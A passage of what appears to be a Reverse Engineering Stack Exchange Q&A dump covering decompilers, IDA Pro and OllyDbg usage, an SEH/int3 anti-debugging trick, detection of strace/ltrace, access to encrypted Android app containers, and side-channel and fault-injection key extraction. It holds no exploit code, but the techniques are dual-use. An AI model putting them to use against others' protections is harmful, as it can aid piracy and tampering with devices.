\n\n

https://sourceforge.net/projects/decompiler/

\n\n

Use the following command with the command-line tool to decompile COM programs:

\n\n
decompile --default-to ms-dos-com myprog.com\n
\n\n

In the GUI, use the menu command File > Open as... to open the COM file and specify a start address like 0800:0100.

\n" }, { "Id": "1860", "CreationDate": "2013-04-19T04:02:20.333", "Body": "

Are there any useful snippets or Gdb functions that you guys normally use to print out Unicode strings? I'm trying to debug Mach-O binaries and x/s seems to be printing out junk. I believe the default encoding for Objective C strings is UTF-16.

\n", "Title": "Printing Unicode strings in Gdb in OSX", "Tags": "|osx|gdb|encodings|mach-o|strings|", "Answer": "

If you think the encoding is wrong then you can try these 2 things:

\n\n\n\n
\n

Each time you specify a unit size with x, that size becomes the default unit the next time you use x\n ...\n Use x /hs to display 16-bit char strings

\n
\n\n\n\n
\n

gdb has no way to automatically recognize which character set the inferior program uses; you must tell it, using the set target-charset command, described below.

\n
\n" }, { "Id": "1869", "CreationDate": "2013-04-19T18:45:39.290", "Body": "

I'm working with some x86 assembly code and I need to rip from one executable and paste that code into another.

\n

Originally, I had an executable that was meant to accept two command line parameters and run a handwritten function on them. However, I ran into annoyances with using GetCommandLine et al. to return the parameters in my ASM. Namely, it returned Unicode and I needed the parameters in ANSI. Rather than dealing with setting up the library calls and converting that way, I compiled a small program that uses command line arguments with the intent of reusing code.

\n

So now I have two executables:

\n\n

The first executable has the space for the function NOP'd out, but I need a good way to paste the logic in. I've looked at Asm2clipboard, Code Ripper and data ripper, but they only have the functionality to rip the assembly out, but not paste it back in.

\n

I'm aware I'll have to fix addresses and things like that, but I can't find a way in Olly or other tools to move the code between the executables. I can go into HexEdit or something like that I supposed, but I was hoping there's an easier way.

\n", "Title": "Ripping/pasting code into an executable using Olly", "Tags": "|disassembly|pe|ollydbg|patching|", "Answer": "

Multiline Ultimate Assembler is a multiline (and ultimate) assembler (and disassembler) plugin for OllyDbg. It\u2019s a perfect tool for modifying and extending a compiled executable functionality, writing code caves, etc.

\n" }, { "Id": "1873", "CreationDate": "2013-04-20T06:01:15.870", "Body": "

Environment:

\n\n\n\n

I have VirtualKD setup correctly in my guest and host.\nI say this because attaching WinDbg to the guest VM through VirtualKD works flawlessly.

\n\n

But when I try to connect IDA Pro's WinDbg interface using instruction on this page, IDA keeps throwing the following error:

\n\n
Windbg: using debugging tools from '<PATH>'\nConnecting to debugger server with 'com:port=\\\\.\\pipe\\kd_Win7x64_SP1,pipe'\nConnect failed: The server is currently disabled.\n
\n\n

VirtualKD's vmmon is running on the host and shows the following:\"vmmon

\n\n

UPDATE: Turns out, It's a problem with IDA 6.4. I happened to have IDA 6.3 installed on my machine too. That worked with no issues.\nHas anyone used IDA6.4 for live kernel debugging?\nCan someone please tell me how I can correct this issue in IDA 6.4?

\n", "Title": "WinDbg fails to connect to IDA Pro debugger server", "Tags": "|windows|ida|debuggers|kernel-mode|windbg|", "Answer": "

I had the same problem at first when trying to connect IDAPro to windbg. What I did was the following:

\n\n
    \n
  1. Manually edit the ida.cfg file located inside .\\IDA 6.4\\cfg\\ directory.
    2. \n

  2. Change the DBGTOOLS path with WinDbg tools directory. For example, to:

    \n\n
    DBGTOOLS = \"C:\\\\Program Files (x86)\\\\Windows Kits\\\\8.0\\\\Debuggers\\\\x86\\\\\";\n
    3. \n
\n" }, { "Id": "1876", "CreationDate": "2013-04-21T03:48:04.687", "Body": "

I've been trying to reverse engineer a paid android app that writes out some binary data so that I can export that data into other programs (it's a run/walk timer app, if anyone's curious, and I'm trying to get its GPS traces out). However, it looks like the apk is encrypted and stored in /data/app-asec/[app_id].asec.

\n\n

There's a nice blog post that says the encryption used is TwoFish, with a key stored in /data/misc/systemkeys/AppsOnSD.sks, but I haven't been able to decrypt the file using the na\u00efve strategy of just using that key directly with TwoFish on the .asec.

\n\n

How can I decrypt this to get an apk I can actually analyze?

\n\n

Note: I realize that this information is considered somewhat delicate in places like xda-developers, since it could be used to enable piracy. I have no such intentions, I just want to examine the serialization code.

\n", "Title": "Analyzing encrypted Android apps (.asec)?", "Tags": "|android|encryption|", "Answer": "

After a little bit more work and some more careful re-reading, I figured out my mistake: the files in /data/app-asec/ are the encrypted containers. They're actually dm-crypt volumes, which then get mounted at /mnt/asec/[app_id]. The pkg.apk in that directory is the unencrypted apk that can be analyzed using any of the fine tools in this answer.

\n" }, { "Id": "1879", "CreationDate": "2013-04-21T13:57:12.093", "Body": "

I'm looking for a tool like Beyond Compare, meld, kdiff, etc. which can be used to compare two disassembled binaries. I know that there's binary (hex) comparison, which shows difference by hex values, but I'm looking for something that shows op-codes and arguments.

\n\n

Anyone knows something that can help ?

\n", "Title": "how can I diff two x86 binaries at assembly code level?", "Tags": "|tools|binary-analysis|bin-diffing|", "Answer": "

As an open source alternative there's elf_diff which compares elf-files and generates html or pdf reports. It's available as a Python package.

\n" }, { "Id": "1891", "CreationDate": "2013-04-22T09:49:45.830", "Body": "

I'm trying to debug a 16-bit Windows executable (format: New Executable). The problem is that all the standard tools (W32DASM, IDA, Olly) don't seem to support 16-bit debugging.

\n\n

Can you suggest any win16-debuggers?

\n", "Title": "Debugging NewExecutable binaries", "Tags": "|tools|debuggers|ne|", "Answer": "

OpenWatcom has full support for Win16 including debugging, though I personally haven't tried it. It even has remote debugging support over TCP/IP, serial and a couple other protocols.

\n\n

Older SoftICE versions also supported Win16, you may try your luck with that.

\n" }, { "Id": "1897", "CreationDate": "2013-04-22T19:24:31.780", "Body": "

When reversing smart-cards, the side-channel attacks are known to be quite effective on hardware. But, what is it, and can it be used in software reverse-engineering and how?

\n", "Title": "What is SCARE (Side-Channel Attacks Reverse-Engineering)?", "Tags": "|hardware|physical-attacks|smartcards|", "Answer": "

A 'side-channel attack' define any technique that will consider unintended and/or indirect information channels to reach his goal. It has been first defined in smart-card cryptography to describe attacks which are using unintentional information leak from the embedded chip on the card and that can be used in retrieval of keys and data. For example, it may be used by monitoring:

\n\n

If you're more interested in learning how to leverage this information then I'd suggest to start by reading Power Analysis Attacks. Don't get 'scared' away by the fact that the book is about smart cards. Most of the information also applies 1-to-1 on 'normal' (SoC) embedded devices.

\n

Forgot to mention there's an open source platform called OpenSCA and some open source hardware called FOBOS (Flexible Open-source BOard for Side-channel) for which I can't seem to find a proper link from home.

\n

Application to Software Reverse-engineering

\n

Speaking about the application of side-channel attacks in software reverse engineering now, it is more or less any attacks that will rely on using unintended or indirect information leakage. The best recent example is this post from Jonathan Salwan describing how he guessed the password of a crackme just by counting the number of instructions executed on various inputs with Pin.

\n

More broadly, this technique has been used since long in software reverse-engineering without naming it, or could have improved many analysis. The basic idea is to first consider that if a piece of software is too obscure to understand it quickly, we can consider it as a black-box and think about using a side-channels technique to guess the enclosed data through a guided trial and error technique.

\n

The list of side-channels available in software reverse-engineering is much longer than the one we have in hardware. Because it enclose the previous list and add some new channels such as (non exhaustive list):

\n\n

This list is far from being exhaustive, but basically tools such as Valgrind VM or others can be used to perform such analysis and quickly deduce information about the behavior of a given program, thus speeding up the reverse-engineering.

\n

Obfuscation and Possible Counter-measures

\n

Trying to build a software which will be resistant to such attacks will borrow also a lot from the smart-card industry. But, not only. Here are a few tricks, I could think of (but far from being complete about all we can find).

\n

Armoring Program Branches

\n

The instruction count is extremely efficient to detect which branch has been taken in code like this:

\n
if (value)\n   ret = foo();\nelse \n   ret = bar();\n
\n

With foo() and bar() having different instruction count.

\n

This can be defeated by executing foo() and bar() whatever value is and deciding afterward what is the value of ret.

\n
tmp_foo = foo();\ntmp_bar = bar();\nif (value)\n  ret = tmp_foo;\nelse\n  ret = tmp_bar;\n
\n

This technique render your program much more difficult to guess from a side-channel attack, but also much less efficient. One has to find a proper trade-off.

\n

Countering Timing Attacks

\n

Timing attacks are extremely easy to perform and difficult to workaround because sleep() cannot be an option (too easy to detect in a code and, anyway you cannot assume a specific speed for the processor). The programmer has to identify the execution time of each branch of his program and to balance each branch with extra non-useful operations which are of the same computational power than the ones from the other branchs. The point being to render each branch indistinguishable from the others only based on the execution time.

\n

Threading Madness

\n

Another way to dilute the side-channel is to massively multi-thread your program. Imagine that each branch of your program is executed in a separate thread, and one variable tell in which thread the current program really is (if possible in a cryptic manner). Then side-channel analysis will be much more difficult to perform.

\n

Conclusion and Further Research

\n

Side-channel attacks has been widely under-estimated for software reverse-engineering, it can drastically speed-up the reverse of many programs. But, in the same time, obfuscation techniques exists and have to be developed specifically targeting software reverse-engineering. So, don't be surprised if you see more and more novelties related to this field.

\n" }, { "Id": "1898", "CreationDate": "2013-04-22T19:32:17.807", "Body": "

Trying to extract data from the hardware is often quite difficult (especially when dealing with smartcards). Fault-injection attacks allow to guess cryptographic keys based on the propagation of errors through the encryption/decryption algorithm. I know some of the types of fault-injections possible, but not all.

\n\n\n", "Title": "What is fault-injection reverse engineering? What are the techniques involved?", "Tags": "|hardware|physical-attacks|smartcards|", "Answer": "

Fault Injection Attacks

\n

Basically, we assume here that we have a black-box that produces an output using a known algorithm but with some unknown parameters. In the case of cryptography, the black-box could be a chip on a smart-card, the know algorithm could be a cryptographic algorithm and the unknown parameters would be the key of the algorithm which lies hidden in the chip (and never go out).

\n

In this particular setting, we can perform what we call a 'chosen clear-text attack', meaning that we can choose the inputs of the black-box and look at the output. But, lets also suppose that this is not enough to guess the unknown parameters (the key). So, we need a bit more to help us.

\n

Our second assumption will be that we are able to introduce errors at specific chosen phase of the known algorithm. Usually, when speaking about smart-cards, it means that we have a physical setup with a very precise timer linked to the smart-card clock and a laser targeting a physical register on the chip. Beaming up the register with the laser, usually reset the register (or may introduce some random values).

\n

The point of fault-injection is thus to study the effect of the injected fault on the cipher algorithm and to deduce some information about the value of the key.

\n

Depending on the cipher algorithm used in the chip, the most interesting bits to reset in order to maximize the information collected about the key may vary a lot because the propagation of the error is not the same depending on the computation performed. So, each cipher algorithm need to be studied first, in order to know the best way to proceed in order to extract the key.

\n

Types of Fault-injection Attacks

\n

The different types of fault-injection analysis depends mainly on the accuracy with which you can control the error that you introduce (from the easiest to the most difficult):

\n\n

Counter-measures

\n

Countering fault-injection is, in fact, quite easy but costly. You only need to duplicate the circuits and check that the two circuits gives the same output when finished. If not, you just have to issue an error without leaking any information.

\n

Of course, in the case of a 'fully controlled error' attack, one can just duplicate the laser beam as well. But, usually, the 'fully controlled error' attack is an ideal case that is almost never reached in practice.

\n

More difficult to work around, in the case of the 'known error' attack, you can use the output of the chip (output / error) to guess the content of any register you want. You just need to perform attacks always on the same input until you get a normal output, then you can store what you wrote on the register. And, thus, rebuild the value of the key.

\n

Anyway, the cost of circuit redundancy on a chip is quite high, both in money and power-consumption. So, not all the chips can be equipped with this.

\n

Other Related Attacks and Conclusion

\n

These attacks have to be compared (or combined) with 'side-channel attack'. Both attacks have a different approaches and use different assumptions on what is possible or not. Combining them allow to get way further in extracting information about the device that you study.

\n

Talking now about software reverse engineering, I do not know any practical use of fault injection attack nowadays. But, I'm pretty confident that you can use this technique to guess the parameters of a know algorithm that has been obfuscated without having to dissect it in details. Somehow, any debugger can rewrite a register at precise time in the program (breakpoints) with a full control of what is written in the register (we are here in the case of the 'fully controlled error' attack). So, this can certainly be used in the case of usual obfuscated programs.

\n" }, { "Id": "1899", "CreationDate": "2013-04-22T19:50:47.310", "Body": "

Are there any good resources for developing debugger plugins in IDA Pro using the SDK that describe the IDA debugger API? An example of this is the IDA Pro ARM debugger plugin on Sourceforge. There seem to be few projects that have accomplished this. Specifically, how do you make a plugin in IDA which registers itself as one of the available debuggers and allows stepping through the IDA database while controlling a target?

\n", "Title": "Creating IDA Pro debugger plugins - API documentation and examples?", "Tags": "|ida|debuggers|ida-plugin|", "Answer": "

None of the answers so far answer the actual question so here goes.

\n\n

A debugger plugin differs from a \"normal\" one in two points:

\n\n
    \n
  1. it has PLUGIN_DBG in the plugin's flags.
    2. \n
  2. in init(), it must set the global variable dbg to a pointer to an implementation of debugger_t structure. See idd.hpp for the definition.
    3. \n
\n\n

For examples, see plugins/debugger in the SDK, and also the recently updated idados plugin. Warning: making debugger plugins is not for the faint of heart.

\n" }, { "Id": "1902", "CreationDate": "2013-04-22T21:30:23.277", "Body": "

How comes that text diffing tools like diff, kdiff3 or even more complex ones usually fail at highlighting the differences between two disassemblies in textual form - in particular two related binary executable files such as different versions of the same program?

\n\n

This is the question Gilles asked over here in a comment:

\n\n
\n

Why is diff/meld/kdiff/... on the disassembly not satisfactory?

\n
\n\n

I thought this question deserves an answer, so I'm giving an answer Q&A style, because it wouldn't fit into a 600 character comment for some strange reason ;)

\n\n

Please don't miss out on Rolf's answer, though!

\n", "Title": "Why are special tools required to ascertain the differences between two related binary code files?", "Tags": "|tools|disassembly|assembly|bin-diffing|", "Answer": "

One of things I do is to read the machine code and translate it back into IR pseudo opcodes sans any addressing address values, and then perform differences between those two pseudo-IR binaries after using this reduction method on each.

\n" }, { "Id": "1906", "CreationDate": "2013-04-22T23:19:41.360", "Body": "

IDA Pro allows plugins to receive notifications for a number of events. These are defined in the hook_type_t enumeration inside loader.hpp in the SDK from what I saw. If I subscribe to HT_IDB events, I have a host of options for notifications I can subscribe to (event_code_t in idp.hpp).

\n\n

Now, if I wanted to patch up collabREate by Chris Eagle to support anterior and posterior comments - how would I go about that?

\n\n

colleabREate is a very useful piece of software, but in real collaboration scenarios these issues turn out to be real shortcomings.

\n\n

In short: how can I receive notifications to events in my plugin which Hex-Rays doesn't make available through the SDK as of yet?

\n", "Title": "How can my plugin get notified of anterior or posterior comments (and more) changes to an IDA database?", "Tags": "|ida|ida-plugin|idapro-sdk|", "Answer": "

From IDA 6.4 news:

\n\n
+ SDK: added extra_cmt_changed IDB event for the anterior/posterior comment changes;\n also renamed the SDK functions related to these comments\n
\n" }, { "Id": "1909", "CreationDate": "2013-04-23T07:21:57.103", "Body": "

This is a very naive question about IDA Pro. Once the IDA debugger started, I would like to be able to type a memory address (or a memory zone) and look easily at the content of it (in various format). With gdb you would do print /x *0x80456ef or, if you want a wider zone, x /6x 0x80456ef.

\n\n

So, what is the best way to display the memory content from the IDA debugger ?

\n", "Title": "How to display memory zones content on IDA Pro?", "Tags": "|tools|ida|", "Answer": "

You can also position your cursor in one of the code, hex-view, or stack view windows, and press 'g' to bring up the \"jump to address\" dialog.

\n" }, { "Id": "1911", "CreationDate": "2013-04-23T12:31:29.360", "Body": "

In a 32 bits Windows binary, I see this code:

\n\n
    push next\n    push fs:[0]\n    mov fs:[0], esp\n    int3\n    ...\nnext:\n
\n\n

I see that something happens on the int3 (an error), but I don't understand why, and how to follow execution while keeping control.

\n", "Title": "What's 'fs:[0]' doing and how can I execute it step by step?", "Tags": "|windows|x86|seh|", "Answer": "

TL;DR

\n\n
    \n

  1. the first 3 lines set an exception handler (an 'error catcher')

    2. \n

  2. the int3 generates an exception

    3. \n

  3. execution resumes at next

    4. \n
\n\n
\n\n

Explanation

\n\n

this trick is (ab)using Structured Exception Handling, a mechanism to define exception handlers, typically by compilers when try/catch blocks are used.

\n\n

In 32bits versions of Windows, they can be set on the fly, without any pre-requirement (unless the binary is compiled with /SafeSEH).

\n\n

The first element of the exception handlers' chain is pointed by the first member of the Thread Information Block (TIB), in turn a member of the Thread Environment Block (TEB), which is pointed to by fs:0 (which is also reachable 'directly' - via something like ds:7efdd00, depending on the OS version etc)

\n\n

So here is what happens:

\n\n
    \n

  1. the first two push reserve stack space for the structure _EXCEPTION_REGISTRATION_RECORD.

    \n\n
      \n
    1. the new top handler
      2. \n
    2. the previous top handler, which was until now at fs:[0]
      3. \n
    2. \n

  2. the mov sets the current stack position as the new structure. When an exception happens, next will be now the first called handler.

    3. \n

  3. int3 triggers an exception instantaneously (there are many other kinds of exception triggers).

    4. \n

  4. as an exception is triggered, Windows dispatches the exception to the first handler, and the next one if it's not handled, until one of them has handled it.

    5. \n
\n\n

\"flowchart

\n\n

Following execution

\n\n

This is done here under OllyDbg 1.10. YMMV.

\n\n

As we want to go through exceptions ourselves, we have to ask OllyDbg not to handle them:

\n\n
    \n

  1. go to debugging options: Alt-O, tab Exceptions

    2. \n

  2. unselect INT3 breaks

    3. \n
\n\n

And when an exception is triggered, we have to enforce that execution is done via exceptions (see below).

\n\n

Here are 3 methods of increasing level to follow the exception handling execution safely:

\n\n

step by step: set a breakpoint manually

\n\n

As the handler has just been set on the stack, you can manually set a breakpoint then run.

\n\n
    \n

  1. select the new handler address on the stack

    \n\n

    \"new

    2. \n

  2. Right-click or F10

    \n\n
    3. \n

  3. in the dump window, open the menu (same shortcut)

    \n\n
    4. \n

  4. Execute: menu Debug/Run / shortcut F9 / command-line g

    5. \n

  5. Exceptions will be triggered

    6. \n

  6. Execute with exception handling: shortcut Shift-F9 / command-line ge.

    7. \n
\n\n

shortcut: execute until exception handler via command-line

\n\n\n\n

keeping full control: break on KiUserExceptionDispatcher

\n\n

KiUserExceptionDispatcher is the Windows API handling all user-mode exceptions. Setting a breakpoint there guarantees that you keep full control - but then, you're in the middle of a Windows API ;)

\n\n

In this case, you can ask OllyDbg to skip exceptions, as you will still break execution manually in any cases. You might also want to combine that with a script.

\n\n

Of course, some advanced code might check that you set a breakpoint on it before triggering an exception.

\n" }, { "Id": "1918", "CreationDate": "2013-04-24T09:28:24.673", "Body": "

I would like IDA to remember my default load file settings instead of presenting the load file dialog on every start. \nThe documentation says there is a -T command line switch that should take a 'file type prefix' argument and then not display the load file dialog, but I don't know what a valid 'file type prefix' would be. I tried -TPE but a warning popped up saying 'PE' was not recognized.

\n\n

Any suggestions?

\n", "Title": "How to avoid the load file dialog in IDA GUI", "Tags": "|ida|", "Answer": "

It expects the (beginning of the) actual type description (like Portable executable for 80386 (PE)), not the name of the loader plugin (like pe.ldw), because a loader plugin can generate different types.

\n\n

So in the case of a Windows PE, any of these should work:

\n\n\n" }, { "Id": "1922", "CreationDate": "2013-04-24T16:47:09.463", "Body": "

Igor posted a great answer previously on SO about the format of the Linux kernel image on ARM.

\n\n

Assuming I can't boot my kernel image, can someone give me pointers on finding this compressed symbol table in the binary?

\n", "Title": "Locating Linux Kernel Symbols on ARM", "Tags": "|linux|arm|", "Answer": "

After decompressing and loading the kernel, you need to find a couple of tables that encode the compressed symbol table. These are (in the usual order they are placed in binary):

\n\n\n\n

They're not hard to find with some experience. A good way to find the first one is to look for several 0xC0008000 values in a row, because a typical kernel symbol table starts like this:

\n\n
C0008000 T __init_begin\nC0008000 T _sinittext\nC0008000 T _stext\nC0008000 T stext\n
\n\n

After locating the tables the symbol recovery is trivial. I made a script for IDA that does it automatically, you can find it here (kallsyms.py in the tools zip).

\n\n

For more the details of how it's implemented in the kernel, see kernel/kallsyms.c.

\n" }, { "Id": "1929", "CreationDate": "2013-04-25T06:30:29.873", "Body": "

I want to use IDA with the Hex-Rays decompiler plugin as part of automated static analysis, possibly on a large number of files without opening each one and telling it to produce a C file individually.

\n\n

Ideally, I'd like to run IDA from the command line, and get the decompilation based on initial autoanalysis as output. This way I can run it as part of Mastiff or grep for certain functions in a set of binaries. By my reading of On batch analysis from the Hex Blog, what I need is an IDA script that interacts with the decompiler plugin, but I can't figure out how to actually do so.

\n\n

So this leaves me with 2 subquestions:

\n\n\n", "Title": "How can I control the Hex-Rays decompiler plugin from IDA with scripts?", "Tags": "|ida|ida-plugin|idapython|", "Answer": "

[Back in 2013] the decompiler did not have a scripting API. So you had these choices:

\n\n\n\n

IDA 6.6 (released in June 2014) added official Python bindings for the decompiler, so it now can be scripted from Python. For sample code, see vds*.py scripts in the IDAPython repository.

\n" }, { "Id": "1930", "CreationDate": "2013-04-25T08:07:47.923", "Body": "

Under Linux it's possible to trace exactly the kernel system calls with strace.\nltrace can be used also to trace library calls.\nI wonder if it's possible to detect if my executable is running under strace or ltrace ?

\n\n

Here's an example of the output of strace and ltrace for the diff executable.

\n\n

strace

\n\n
$ strace diff\nexecve(\"/usr/bin/diff\", [\"diff\"], [/* 43 vars */]) = 0\nbrk(0)                                  = 0x110a000\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nmmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13f6000\naccess(\"/etc/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/etc/ld.so.cache\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_mode=S_IFREG|0644, st_size=122500, ...}) = 0\nmmap(NULL, 122500, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcbc13d8000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/x86_64-linux-gnu/librt.so.1\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0\\340!\\0\\0\\0\\0\\0\\0\"..., 832) = 832\nfstat(3, {st_mode=S_IFREG|0644, st_size=31784, ...}) = 0\nmmap(NULL, 2129016, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc0fce000\nmprotect(0x7fcbc0fd5000, 2093056, PROT_NONE) = 0\nmmap(0x7fcbc11d4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7fcbc11d4000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/x86_64-linux-gnu/libc.so.6\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0\\200\\30\\2\\0\\0\\0\\0\\0\"..., 832) = 832\nfstat(3, {st_mode=S_IFREG|0755, st_size=1811160, ...}) = 0\nmmap(NULL, 3925240, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc0c0f000\nmprotect(0x7fcbc0dc4000, 2093056, PROT_NONE) = 0\nmmap(0x7fcbc0fc3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b4000) = 0x7fcbc0fc3000\nmmap(0x7fcbc0fc9000, 17656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcbc0fc9000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/x86_64-linux-gnu/libpthread.so.0\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0\\200l\\0\\0\\0\\0\\0\\0\"..., 832) = 832\nfstat(3, {st_mode=S_IFREG|0755, st_size=135398, ...}) = 0\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13d7000\nmmap(NULL, 2212936, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc09f2000\nmprotect(0x7fcbc0a0a000, 2093056, PROT_NONE) = 0\nmmap(0x7fcbc0c09000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7fcbc0c09000\nmmap(0x7fcbc0c0b000, 13384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcbc0c0b000\nclose(3)                                = 0\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09f1000\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09f0000\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09ef000\narch_prctl(ARCH_SET_FS, 0x7fcbc09f0700) = 0\nmprotect(0x7fcbc0fc3000, 16384, PROT_READ) = 0\nmprotect(0x7fcbc0c09000, 4096, PROT_READ) = 0\nmprotect(0x7fcbc11d4000, 4096, PROT_READ) = 0\nmprotect(0x61b000, 4096, PROT_READ)     = 0\nmprotect(0x7fcbc13f8000, 4096, PROT_READ) = 0\nmunmap(0x7fcbc13d8000, 122500)          = 0\nset_tid_address(0x7fcbc09f09d0)         = 32425\nset_robust_list(0x7fcbc09f09e0, 0x18)   = 0\nfutex(0x7fff27e5992c, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7fcbc09f0700) = -1 EAGAIN (Resource temporarily unavailable)\nrt_sigaction(SIGRTMIN, {0x7fcbc09f8750, [], SA_RESTORER|SA_SIGINFO, 0x7fcbc0a01cb0}, NULL, 8) = 0\nrt_sigaction(SIGRT_1, {0x7fcbc09f87e0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fcbc0a01cb0}, NULL, 8) = 0\nrt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0\ngetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0\nbrk(0)                                  = 0x110a000\nbrk(0x112b000)                          = 0x112b000\nopen(\"/usr/lib/locale/locale-archive\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_mode=S_IFREG|0644, st_size=7216624, ...}) = 0\nmmap(NULL, 7216624, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcbc030d000\nclose(3)                                = 0\nsigaltstack({ss_sp=0x61c5e0, ss_flags=0, ss_size=8192}, NULL) = 0\nopen(\"/usr/share/locale/locale.alias\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13f5000\nread(3, \"# Locale name alias data base.\\n#\"..., 4096) = 2570\nread(3, \"\", 4096)                       = 0\nclose(3)                                = 0\nmunmap(0x7fcbc13f5000, 4096)            = 0\nopen(\"/usr/share/locale/en_US/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nopen(\"/usr/share/locale/en/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nopen(\"/usr/share/locale-langpack/en_US/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nopen(\"/usr/share/locale-langpack/en/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nrt_sigaction(SIGSEGV, {0x40b3c0, [], SA_RESTORER|SA_STACK|SA_NODEFER|SA_RESETHAND|SA_SIGINFO, 0x7fcbc0c454a0}, NULL, 8) = 0\nwrite(2, \"diff: \", 6diff: )                   = 6\nwrite(2, \"missing operand after `diff'\", 28missing operand after `diff') = 28\nwrite(2, \"\\n\", 1\n)                       = 1\nwrite(2, \"diff: \", 6diff: )                   = 6\nwrite(2, \"Try `diff --help' for more infor\"..., 39Try `diff --help' for more information.) = 39\nwrite(2, \"\\n\", 1\n)                       = 1\nexit_group(2)                           = ?\n
\n\n

ltrace

\n\n
$ ltrace diff\n__libc_start_main(0x402310, 1, 0x7fff876fcf28, 0x4151d0, 0x415260 <unfinished ...>\nstrrchr(\"diff\", '/')                                             = NULL\nsetlocale(6, \"\")                                                 = \"en_US.UTF-8\"\nbindtextdomain(\"diffutils\", \"/usr/share/locale\")                 = \"/usr/share/locale\"\ntextdomain(\"diffutils\")                                          = \"diffutils\"\nsigaltstack(0x7fff876fccd0, 0, 1, 0x736c6974756666, 3)           = 0\ndcgettext(0, 0x4183d7, 5, -1, 3)                                 = 0x4183d7\ndcgettext(0, 0x4183e5, 5, 0, 1)                                  = 0x4183e5\nsigemptyset(0x7fff876fccf8)                                      = 0\nsigaction(11, 0x7fff876fccf0, NULL)                              = 0\nre_set_syntax(264966, 0x7fff876fcb88, 0, -1, 0)                  = 0\nmalloc(16)                                                       = 0x016e1160\nmemset(0x016e1160, '\\000', 16)                                   = 0x016e1160\ngetopt_long(1, 0x7fff876fcf28, \"0123456789abBcC:dD:eEfF:hHiI:lL:\"..., 0x00417360, NULL) = -1\nmalloc(1)                                                        = 0x016e1180\ndcgettext(0, 0x415598, 5, 8, 3)                                  = 0x415598\nerror(0, 0, 0x415598, 0x7fff876fd469, 1diff: missing operand after `diff'\n)                         = 0\ndcgettext(0, 0x415878, 5, 0, 0x7fad1793c700)                     = 0x415878\nerror(2, 0, 0x415878, 0x7fff876fd469, 1diff: Try `diff --help' for more information.\n <unfinished ...>\n+++ exited (status 2) +++\n
\n", "Title": "Detecting tracing in Linux", "Tags": "|linux|anti-debugging|", "Answer": "

It is possible the ways the other commenters suggested. However, all of them are interceptable, if you read a file, it can be intercepted and your program will be given different result, if you check if LD_PRELOAD is set, it can be unset before you can reach out to it, etc. Suid is another story, though, but there may be different ways of exploiting it too.

\n" }, { "Id": "1934", "CreationDate": "2013-04-26T18:36:54.600", "Body": "

I posted this a while back on stackoverflow (too old to migrate though).

\n\n

Say I am in the python interpreter and define a function as follows:

\n\n
def h(a):\n  return a\n
\n\n

If I want to look at the bytecode (not a disassembly using dis), I can typically use h.func_code.co_code. Is there any other way to look at the bytecode? This particular application was packaged with a custom python interpreter (using py2exe probably) which removed access to co_code. I can't just look at the pyc file as they are encrypted.

\n\n

